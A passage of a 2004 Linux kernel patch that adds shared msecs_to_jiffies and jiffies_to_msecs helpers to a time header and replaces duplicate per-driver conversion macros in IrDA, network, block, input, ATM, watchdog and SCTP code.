64-bit value. Since, when it is applied, we are already - * in jiffies (albit scaled), it is nothing but the bits we will shift - * off. + * in jiffies (albeit scaled), it is nothing but the bits we will shift + * off. Similarly for MSEC_ROUND and JIFFIE_MSEC_ROUND. */ + #define USEC_ROUND (u64)(((u64)1 << USEC_JIFFIE_SC) - 1) +#define MSEC_ROUND (((u64)1 << MSEC_JIFFIE_SC) - 1) +#define JIFFIE_MSEC_ROUND (((u64)1 << JIFFIE_MSEC_SC) - 1) + /* * The maximum jiffie value is (MAX_INT >> 1). Here we translate that * into seconds. The 64-bit case will overflow if we are not careful, @@ -175,8 +201,39 @@ #else /* take care of overflow on 64 bits machines */ # define MAX_SEC_IN_JIFFIES \ (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, 1) - 1) +#endif + +/* + * Since a tick can be longer or shorter than a millisecond, we need + * to cap one of the MAX_ values at MAX_JIFFY_OFFSET when translating + * between jiffies and milliseconds. + */ +#if TICK_NSEC < NSEC_PER_MSEC +# define MAX_JIFFIE_IN_MSECS MAX_JIFFY_OFFSET +#if BITS_PER_LONG < 64 +# define MAX_MSEC_IN_JIFFIES \ + (long)((u64)((u64)MAX_JIFFY_OFFSET * TICK_NSEC) / NSEC_PER_MSEC) +#else +# define MAX_MSEC_IN_JIFFIES \ + ((((MAX_JIFFY_OFFSET & ~(~0UL >> MSEC_JIFFIE_SC)) / \ + MSEC_CONVERSION) << MSEC_JIFFIE_SC) -1) +#endif +#elif TICK_NSEC > NSEC_PER_MSEC +# define MAX_MSEC_IN_JIFFIES MAX_JIFFY_OFFSET +#if BITS_PER_LONG < 64 +# define MAX_JIFFIE_IN_MSECS \ + (long)((u64)((u64)MAX_JIFFY_OFFSET * NSEC_PER_MSEC) / TICK_NSEC) +#else +# define MAX_JIFFIE_IN_MSECS \ + ((((MAX_JIFFY_OFFSET & ~(~0UL >> JIFFIE_MSEC_SC)) / \ + JIFFIE_MSEC_CONVERSION) << JIFFIE_MSEC_SC) -1) #endif +#else +# define MAX_JIFFIE_IN_MSECS MAX_JIFFY_OFFSET +# define MAX_MSEC_IN_JIFFIES MAX_JIFFY_OFFSET +#endif + /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note * that a remainder subtract here would not do the right thing as the @@ -254,6 +311,37 @@ value->tv_usec /= NSEC_PER_USEC; } +static __inline__ unsigned long +msecs_to_jiffies(unsigned long msec) +{ + if (msec >= MAX_MSEC_IN_JIFFIES) + msec = MAX_MSEC_IN_JIFFIES; + +#if BITS_PER_LONG < 64 + return ((u64)msec * MSEC_CONVERSION + MSEC_ROUND) >> MSEC_JIFFIE_SC; +#else + return (msec >> MSEC_JIFFIE_SC) * MSEC_CONVERSION + + (((msec & (~0UL >> MSEC_JIFFIE_SC)) * MSEC_CONVERSION + + MSEC_ROUND) >> MSEC_JIFFIE_SC); +#endif +} + +static __inline__ unsigned long +jiffies_to_msecs(unsigned long jiffies) +{ + if (jiffies >= MAX_JIFFIE_IN_MSECS) + jiffies = MAX_JIFFIE_IN_MSECS; + +#if BITS_PER_LONG < 64 + return ((u64)jiffies * JIFFIE_MSEC_CONVERSION + + JIFFIE_MSEC_ROUND) >> JIFFIE_MSEC_SC; +#else + return (jiffies >> JIFFIE_MSEC_SC) * JIFFIE_MSEC_CONVERSION + + (((jiffies & (~0UL >> JIFFIE_MSEC_SC)) * JIFFIE_MSEC_CONVERSION + + JIFFIE_MSEC_ROUND) >> JIFFIE_MSEC_SC); +#endif +} + static __inline__ int timespec_equal(struct timespec *a, struct timespec *b) { return (a->tv_sec == b->tv_sec) && (a->tv_nsec == b->tv_nsec); --- linux/drivers/net/tulip/de2104x.c.msecs-to-jiffies 2004-05-07 15:28:53.000000000 -0400 +++ linux/drivers/net/tulip/de2104x.c 2004-05-07 15:30:19.000000000 -0400 @@ -357,13 +357,6 @@ static u16 t21041_csr15[] = { 0x0008, 0x0006, 0x000E, 0x0008, 0x0008, }; -static inline unsigned long -msec_to_jiffies(unsigned long ms) -{ - return (((ms)*HZ+999)/1000); -} - - #define dr32(reg) readl(de->regs + (reg)) #define dw32(reg,val) writel((val), de->regs + (reg)) @@ -1216,7 +1209,7 @@ /* de4x5.c delays, so we do too */ current->state = TASK_UNINTERRUPTIBLE; - schedule_timeout(msec_to_jiffies(10)); + schedule_timeout(msecs_to_jiffies(10)); } } --- linux/drivers/net/irda/act200l-sir.c.msecs-to-jiffies 2004-04-03 22:36:55.000000000 -0500 +++ linux/drivers/net/irda/act200l-sir.c 2004-05-07 15:30:19.000000000 -0400 @@ -178,7 +178,7 @@ /* Write control bytes */ sirdev_raw_write(dev, control, 3); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(5)); + schedule_timeout(msecs_to_jiffies(5)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); --- linux/drivers/net/irda/act200l.c.msecs-to-jiffies 2004-04-03 22:37:07.000000000 -0500 +++ linux/drivers/net/irda/act200l.c 2004-05-07 15:30:19.000000000 -0400 @@ -148,7 +148,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -187,7 +187,7 @@ /* Write control bytes */ self->write(self->dev, control, 3); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(5); + ret = msecs_to_jiffies(5); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -237,14 +237,14 @@ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: /* Reset the dongle : set RTS low for 25 ms */ self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT2: /* Clear DTR and set RTS to enter command mode */ @@ -253,7 +253,7 @@ /* Write control bytes */ self->write(self->dev, control, 9); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(15); + ret = msecs_to_jiffies(15); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ --- linux/drivers/net/irda/actisys.c.msecs-to-jiffies 2004-04-03 22:38:28.000000000 -0500 +++ linux/drivers/net/irda/actisys.c 2004-05-07 15:30:19.000000000 -0400 @@ -238,7 +238,7 @@ self->set_dtr_rts(self->dev, TRUE, TRUE); /* Sleep 50 ms to make sure capacitor is charged */ - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); irda_task_next_state(task, IRDA_TASK_WAIT); break; case IRDA_TASK_WAIT: --- linux/drivers/net/irda/girbil.c.msecs-to-jiffies 2004-04-03 22:36:12.000000000 -0500 +++ linux/drivers/net/irda/girbil.c 2004-05-07 15:30:19.000000000 -0400 @@ -119,7 +119,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -153,7 +153,7 @@ /* Write control bytes */ self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = msecs_to_jiffies(100); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -194,19 +194,19 @@ self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep at least 5 ms */ - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT1: /* Set DTR and clear RTS to enter command mode */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT2: /* Write control byte */ self->write(self->dev, &control, 1); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ --- linux/drivers/net/irda/irda-usb.c.msecs-to-jiffies 2004-05-07 15:28:53.000000000 -0400 +++ linux/drivers/net/irda/irda-usb.c 2004-05-07 15:30:19.000000000 -0400 @@ -268,7 +268,7 @@ speed_bulk_callback, self); urb->transfer_buffer_length = USB_IRDA_HEADER; urb->transfer_flags = URB_ASYNC_UNLINK; - urb->timeout = MSECS_TO_JIFFIES(100); + urb->timeout = msecs_to_jiffies(100); /* Irq disabled -> GFP_ATOMIC */ if ((ret = usb_submit_urb(urb, GFP_ATOMIC))) { @@ -412,7 +412,7 @@ * This is how the dongle will detect the end of packet - Jean II */ urb->transfer_flags |= URB_ZERO_PACKET; /* Timeout need to be shorter than NET watchdog timer */ - urb->timeout = MSECS_TO_JIFFIES(200); + urb->timeout = msecs_to_jiffies(200); /* Generate min turn time. FIXME: can we do better than this? */ /* Trying to a turnaround time at this level is trying to measure @@ -1311,7 +1311,7 @@ IU_REQ_GET_CLASS_DESC, USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE, 0, intf->altsetting->desc.bInterfaceNumber, desc, - sizeof(*desc), MSECS_TO_JIFFIES(500)); + sizeof(*desc), msecs_to_jiffies(500)); IRDA_DEBUG(1, "%s(), ret=%d\n", __FUNCTION__, ret); if (ret < sizeof(*desc)) { --- linux/drivers/net/irda/irport.c.msecs-to-jiffies 2004-05-07 15:28:53.000000000 -0400 +++ linux/drivers/net/irda/irport.c 2004-05-07 15:30:19.000000000 -0400 @@ -452,7 +452,7 @@ task->state = IRDA_TASK_WAIT; /* Try again later */ - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; } @@ -474,7 +474,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give dongle 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else /* Child finished immediately */ irda_task_next_state(task, IRDA_TASK_CHILD_DONE); --- linux/drivers/net/irda/irtty-sir.c.msecs-to-jiffies 2004-04-03 22:36:11.000000000 -0500 +++ linux/drivers/net/irda/irtty-sir.c 2004-05-07 15:30:19.000000000 -0400 @@ -93,12 +93,12 @@ tty = priv->tty; if (tty->driver->wait_until_sent) { lock_kernel(); - tty->driver->wait_until_sent(tty, MSECS_TO_JIFFIES(100)); + tty->driver->wait_until_sent(tty, msecs_to_jiffies(100)); unlock_kernel(); } else { set_task_state(current, TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(USBSERIAL_TX_DONE_DELAY)); + schedule_timeout(msecs_to_jiffies(USBSERIAL_TX_DONE_DELAY)); } } --- linux/drivers/net/irda/ma600-sir.c.msecs-to-jiffies 2004-04-03 22:37:36.000000000 -0500 +++ linux/drivers/net/irda/ma600-sir.c 2004-05-07 15:30:19.000000000 -0400 @@ -192,7 +192,7 @@ /* Wait at least 10ms: fake wait_until_sent - 10 bits at 9600 baud*/ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(15)); /* old ma600 uses 15ms */ + schedule_timeout(msecs_to_jiffies(15)); /* old ma600 uses 15ms */ #if 1 /* read-back of the control byte. ma600 is the first dongle driver @@ -216,7 +216,7 @@ /* Wait at least 10ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); /* dongle is now switched to the new speed */ dev->speed = speed; @@ -246,12 +246,12 @@ /* Reset the dongle : set DTR low for 10 ms */ sirdev_set_dtr_rts(dev, FALSE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); dev->speed = 9600; /* That's the dongle-default */ --- linux/drivers/net/irda/ma600.c.msecs-to-jiffies 2004-04-03 22:37:06.000000000 -0500 +++ linux/drivers/net/irda/ma600.c 2004-05-07 15:30:19.000000000 -0400 @@ -184,7 +184,7 @@ if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else { self->speed_task = task; } @@ -202,7 +202,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* give 1 second to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else { irda_task_next_state(task, IRDA_TASK_CHILD_DONE); } @@ -217,7 +217,7 @@ /* Set DTR, Clear RTS */ self->set_dtr_rts(self->dev, TRUE, FALSE); - ret = MSECS_TO_JIFFIES(1); /* Sleep 1 ms */ + ret = msecs_to_jiffies(1); /* Sleep 1 ms */ irda_task_next_state(task, IRDA_TASK_WAIT); break; @@ -231,7 +231,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT1); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(15); + ret = msecs_to_jiffies(15); break; case IRDA_TASK_WAIT1: @@ -258,7 +258,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT2); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(10); + ret = msecs_to_jiffies(10); break; case IRDA_TASK_WAIT2: @@ -298,7 +298,7 @@ if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->reset_task = task; @@ -307,13 +307,13 @@ /* Clear DTR and Set RTS */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = msecs_to_jiffies(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT1: /* Set DTR and RTS */ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = msecs_to_jiffies(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT2: irda_task_next_state(task, IRDA_TASK_DONE); --- linux/drivers/net/irda/mcp2120.c.msecs-to-jiffies 2004-04-03 22:38:20.000000000 -0500 +++ linux/drivers/net/irda/mcp2120.c 2004-05-07 15:30:19.000000000 -0400 @@ -99,7 +99,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -140,7 +140,7 @@ self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = msecs_to_jiffies(100); //printk("mcp2120_change_speed irda_child_done\n"); break; case IRDA_TASK_WAIT: @@ -189,14 +189,14 @@ /* Reset dongle by setting RTS*/ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: //printk("mcp2120_reset irda_task_wait1\n"); /* clear RTS and wait for at least 30 ms. */ self->set_dtr_rts(self->dev, FALSE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT2: //printk("mcp2120_reset irda_task_wait2\n"); --- linux/drivers/net/irda/sir_dev.c.msecs-to-jiffies 2004-05-07 15:28:53.000000000 -0400 +++ linux/drivers/net/irda/sir_dev.c 2004-05-07 15:30:19.000000000 -0400 @@ -74,7 +74,7 @@ while (dev->tx_buff.len > 0) { /* wait until tx idle */ spin_unlock_irqrestore(&dev->tx_lock, flags); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); spin_lock_irqsave(&dev->tx_lock, flags); } --- linux/drivers/net/irda/sir_kthread.c.msecs-to-jiffies 2004-05-07 15:28:53.000000000 -0400 +++ linux/drivers/net/irda/sir_kthread.c 2004-05-07 15:30:19.000000000 -0400 @@ -415,7 +415,7 @@ fsm->state = next_state; } while(!delay); - irda_queue_delayed_request(&fsm->rq, MSECS_TO_JIFFIES(delay)); + irda_queue_delayed_request(&fsm->rq, msecs_to_jiffies(delay)); } /* schedule some device configuration task for execution by kIrDAd --- linux/drivers/net/irda/stir4200.c.msecs-to-jiffies 2004-05-07 15:28:53.000000000 -0400 +++ linux/drivers/net/irda/stir4200.c 2004-05-07 15:30:19.000000000 -0400 @@ -208,7 +208,7 @@ REQ_WRITE_SINGLE, USB_DIR_OUT|USB_TYPE_VENDOR|USB_RECIP_DEVICE, value, reg, NULL, 0, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + msecs_to_jiffies(CTRL_TIMEOUT)); } /* Send control message to read multiple registers */ @@ -221,7 +221,7 @@ REQ_READ_REG, USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, reg, data, count, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + msecs_to_jiffies(CTRL_TIMEOUT)); } static inline int isfir(u32 speed) @@ -745,7 +745,7 @@ if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), stir->io_buf, wraplen, - NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) + NULL, msecs_to_jiffies(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; } --- linux/drivers/net/irda/tekram-sir.c.msecs-to-jiffies 2004-04-03 22:36:52.000000000 -0500 +++ linux/drivers/net/irda/tekram-sir.c 2004-05-07 15:30:19.000000000 -0400 @@ -211,7 +211,7 @@ /* Should sleep 1 ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(1)); + schedule_timeout(msecs_to_jiffies(1)); /* Set DTR, Set RTS */ sirdev_set_dtr_rts(dev, TRUE, TRUE); --- linux/drivers/net/irda/tekram.c.msecs-to-jiffies 2004-04-03 22:37:23.000000000 -0500 +++ linux/drivers/net/irda/tekram.c 2004-05-07 15:30:19.000000000 -0400 @@ -113,7 +113,7 @@ if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->speed_task = task; @@ -150,7 +150,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else irda_task_next_state(task, IRDA_TASK_CHILD_DONE); break; @@ -171,7 +171,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT); /* Wait at least 100 ms */ - ret = MSECS_TO_JIFFIES(150); + ret = msecs_to_jiffies(150); break; case IRDA_TASK_WAIT: /* Set DTR, Set RTS */ @@ -214,7 +214,7 @@ if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->reset_task = task; @@ -227,7 +227,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep 50 ms */ - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: /* Clear DTR, Set RTS */ @@ -236,7 +236,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT2); /* Should sleep 1 ms */ - ret = MSECS_TO_JIFFIES(1); + ret = msecs_to_jiffies(1); break; case IRDA_TASK_WAIT2: /* Set DTR, Set RTS */ --- linux/drivers/char/watchdog/shwdt.c.msecs-to-jiffies 2004-04-03 22:36:54.000000000 -0500 +++ linux/drivers/char/watchdog/shwdt.c 2004-05-07 15:30:19.000000000 -0400 @@ -64,8 +64,7 @@ */ static int clock_division_ratio = WTCSR_CKS_4096; -#define msecs_to_jiffies(msecs) (jiffies + (HZ * msecs + 9999) / 10000) -#define next_ping_period(cks) msecs_to_jiffies(cks - 4) +#define next_ping_period(cks) (jiffies + msecs_to_jiffies(cks - 4)) static unsigned long shwdt_is_open; static struct watchdog_info sh_wdt_info; --- linux/drivers/block/carmel.c.msecs-to-jiffies 2004-04-03 22:37:38.000000000 -0500 +++ linux/drivers/block/carmel.c 2004-05-07 15:30:19.000000000 -0400 @@ -438,11 +438,6 @@ return -EOPNOTSUPP; } -static inline unsigned long msecs_to_jiffies(unsigned long msecs) -{ - return ((HZ * msecs + 999) / 1000); -} - static void msleep(unsigned long msecs) { set_current_state(TASK_UNINTERRUPTIBLE); --- linux/drivers/block/genhd.c.msecs-to-jiffies 2004-04-03 22:37:06.000000000 -0500 +++ linux/drivers/block/genhd.c 2004-05-07 15:30:19.000000000 -0400 @@ -357,34 +357,24 @@ return sprintf(page, "%llu\n", (unsigned long long)get_capacity(disk)); } -static inline unsigned jiffies_to_msec(unsigned jif) -{ -#if 1000 % HZ == 0 - return jif * (1000 / HZ); -#elif HZ % 1000 == 0 - return jif / (HZ / 1000); -#else - return (jif / HZ) * 1000 + (jif % HZ) * 1000 / HZ; -#endif -} static ssize_t disk_stats_read(struct gendisk * disk, char *page) { disk_round_stats(disk); return sprintf(page, - "%8u %8u %8llu %8u " - "%8u %8u %8llu %8u " - "%8u %8u %8u" + "%8u %8u %8llu %8lu " + "%8u %8u %8llu %8lu " + "%8u %8lu %8lu" "\n", disk_stat_read(disk, reads), disk_stat_read(disk, read_merges), (unsigned long long)disk_stat_read(disk, read_sectors), - jiffies_to_msec(disk_stat_read(disk, read_ticks)), + jiffies_to_msecs(disk_stat_read(disk, read_ticks)), disk_stat_read(disk, writes), disk_stat_read(disk, write_merges), (unsigned long long)disk_stat_read(disk, write_sectors), - jiffies_to_msec(disk_stat_read(disk, write_ticks)), + jiffies_to_msecs(disk_stat_read(disk, write_ticks)), disk->in_flight, - jiffies_to_msec(disk_stat_read(disk, io_ticks)), - jiffies_to_msec(disk_stat_read(disk, time_in_queue))); + jiffies_to_msecs(disk_stat_read(disk, io_ticks)), + jiffies_to_msecs(disk_stat_read(disk, time_in_queue))); } static struct disk_attribute disk_attr_dev = { .attr = {.name = "dev", .mode = S_IRUGO }, @@ -494,17 +484,17 @@ */ disk_round_stats(gp); - seq_printf(s, "%4d %4d %s %u %u %llu %u %u %u %llu %u %u %u %u\n", + seq_printf(s, "%4d %4d %s %u %u %llu %lu %u %u %llu %lu %u %lu %lu\n", gp->major, n + gp->first_minor, disk_name(gp, n, buf), disk_stat_read(gp, reads), disk_stat_read(gp, read_merges), (unsigned long long)disk_stat_read(gp, read_sectors), - jiffies_to_msec(disk_stat_read(gp, read_ticks)), + jiffies_to_msecs(disk_stat_read(gp, read_ticks)), disk_stat_read(gp, writes), disk_stat_read(gp, write_merges), (unsigned long long)disk_stat_read(gp, write_sectors), - jiffies_to_msec(disk_stat_read(gp, write_ticks)), + jiffies_to_msecs(disk_stat_read(gp, write_ticks)), gp->in_flight, - jiffies_to_msec(disk_stat_read(gp, io_ticks)), - jiffies_to_msec(disk_stat_read(gp, time_in_queue))); + jiffies_to_msecs(disk_stat_read(gp, io_ticks)), + jiffies_to_msecs(disk_stat_read(gp, time_in_queue))); /* now show all non-0 size partitions of it */ for (n = 0; n < gp->minors - 1; n++) { --- linux/drivers/input/joydev.c.msecs-to-jiffies 2004-04-03 22:37:06.000000000 -0500 +++ linux/drivers/input/joydev.c 2004-05-07 15:30:19.000000000 -0400 @@ -37,8 +37,6 @@ #define JOYDEV_MINORS 16 #define JOYDEV_BUFFER_SIZE 64 -#define MSECS(t) (1000 * ((t) / HZ) + 1000 * ((t) % HZ) / HZ) - struct joydev { int exist; int open; @@ -117,7 +115,7 @@ return; } - event.time = MSECS(jiffies); + event.time = jiffies_to_msecs(jiffies); list_for_each_entry(list, &joydev->list, node) { @@ -245,7 +243,7 @@ struct js_event event; - event.time = MSECS(jiffies); + event.time = jiffies_to_msecs(jiffies); if (list->startup < joydev->nkey) { event.type = JS_EVENT_BUTTON | JS_EVENT_INIT; --- linux/drivers/atm/fore200e.c.msecs-to-jiffies 2004-05-07 15:28:52.000000000 -0400 +++ linux/drivers/atm/fore200e.c 2004-05-07 15:30:19.000000000 -0400 @@ -95,9 +95,6 @@ #define FORE200E_NEXT_ENTRY(index, modulo) (index = ++(index) % (modulo)) -#define MSECS(ms) (((ms)*HZ/1000)+1) - - #if 1 #define ASSERT(expr) if (!(expr)) { \ printk(FORE200E "assertion failed! %s[%d]: %s\n", \ @@ -244,7 +241,7 @@ static void fore200e_spin(int msecs) { - unsigned long timeout = jiffies + MSECS(msecs); + unsigned long timeout = jiffies + msecs_to_jiffies(msecs); while (time_before(jiffies, timeout)); } @@ -252,7 +249,7 @@ static int fore200e_poll(struct fore200e* fore200e, volatile u32* addr, u32 val, int msecs) { - unsigned long timeout = jiffies + MSECS(msecs); + unsigned long timeout = jiffies + msecs_to_jiffies(msecs); int ok; mb(); @@ -276,7 +273,7 @@ static int fore200e_io_poll(struct fore200e* fore200e, volatile u32* addr, u32 val, int msecs) { - unsigned long timeout = jiffies + MSECS(msecs); + unsigned long timeout = jiffies + msecs_to_jiffies(msecs); int ok; do { @@ -2597,7 +2594,7 @@ fore200e_monitor_getc(struct fore200e* fore200e) { struct cp_monitor* monitor = fore200e->cp_monitor; - unsigned long timeout = jiffies + MSECS(50); + unsigned long timeout = jiffies + msecs_to_jiffies(50); int c; while (time_before(jiffies, timeout)) { --- linux/include/linux/libata.h.msecs-to-jiffies 2004-05-07 15:28:55.000000000 -0400 +++ linux/include/linux/libata.h 2004-05-07 15:30:19.000000000 -0400 @@ -411,11 +411,6 @@ extern int ata_scsi_slave_config(struct scsi_device *sdev); -static inline unsigned long msecs_to_jiffies(unsigned long msecs) -{ - return ((HZ * msecs + 999) / 1000); -} - static inline unsigned int ata_tag_valid(unsigned int tag) { return (tag < ATA_MAX_QUEUE) ? 1 : 0; --- linux/include/net/irda/irda.h.msecs-to-jiffies 2004-04-03 22:36:55.000000000 -0500 +++ linux/include/net/irda/irda.h 2004-05-07 15:30:19.000000000 -0400 @@ -83,8 +83,6 @@ #define MESSAGE(args...) printk(KERN_INFO args) #define ERROR(args...) printk(KERN_ERR args) -#define MSECS_TO_JIFFIES(ms) (((ms)*HZ+999)/1000) - /* * Magic numbers used by Linux-IrDA. Random numbers which must be unique to * give the best protection --- linux/include/net/sctp/sctp.h.msecs-to-jiffies 2004-05-07 15:28:55.000000000 -0400 +++ linux/include/net/sctp/sctp.h 2004-05-07 15:30:19.000000000 -0400 @@ -116,10 +116,6 @@ #define SCTP_STATIC static #endif -#define MSECS_TO_JIFFIES(msec) \ - (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) -#define JIFFIES_TO_MSECS(jiff) \ - (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) /* * Function declarations. --- linux/net/irda/ircomm/ircomm_tty.c.msecs-to-jiffies 2004-04-03 22:36:55.000000000 -0500 +++ linux/net/irda/ircomm/ircomm_tty.c 2004-05-07 15:30:19.000000000 -0400 @@ -873,7 +873,7 @@ orig_jiffies = jiffies; /* Set poll time to 200 ms */ - poll_time = IRDA_MIN(timeout, MSECS_TO_JIFFIES(200)); + poll_time = IRDA_MIN(timeout, msecs_to_jiffies(200)); spin_lock_irqsave(&self->spinlock, flags); while (self->tx_skb && self->tx_skb->len) { --- linux/net/irda/irlap_event.c.msecs-to-jiffies 2004-05-07 15:28:55.000000000 -0400 +++ linux/net/irda/irlap_event.c 2004-05-07 15:30:19.000000000 -0400 @@ -627,7 +627,7 @@ if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(2, "%s(), device is slow to answer, " "waiting some more!\n", __FUNCTION__); - irlap_start_slot_timer(self, MSECS_TO_JIFFIES(10)); + irlap_start_slot_timer(self, msecs_to_jiffies(10)); self->add_wait = TRUE; return ret; } @@ -849,7 +849,7 @@ * 1.5 times the time taken to transmit a SNRM frame. So this time should * between 15 msecs and 45 msecs. */ - irlap_start_backoff_timer(self, MSECS_TO_JIFFIES(20 + + irlap_start_backoff_timer(self, msecs_to_jiffies(20 + (jiffies % 30))); } else { /* Always switch state before calling upper layers */ @@ -1506,7 +1506,7 @@ if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(1, "FINAL_TIMER_EXPIRED when receiving a " "frame! Waiting a little bit more!\n"); - irlap_start_final_timer(self, MSECS_TO_JIFFIES(300)); + irlap_start_final_timer(self, msecs_to_jiffies(300)); /* * Don't allow this to happen one more time in a row, --- linux/net/sctp/associola.c.msecs-to-jiffies 2004-05-07 15:28:55.000000000 -0400 +++ linux/net/sctp/associola.c 2004-05-07 15:30:19.000000000 -0400 @@ -142,9 +142,9 @@ * socket values. */ asoc->max_retrans = sp->assocparams.sasoc_asocmaxrxt; - asoc->rto_initial = MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); - asoc->rto_max = MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); - asoc->rto_min = MSECS_TO_JIFFIES(sp->rtoinfo.srto_min); + asoc->rto_initial = 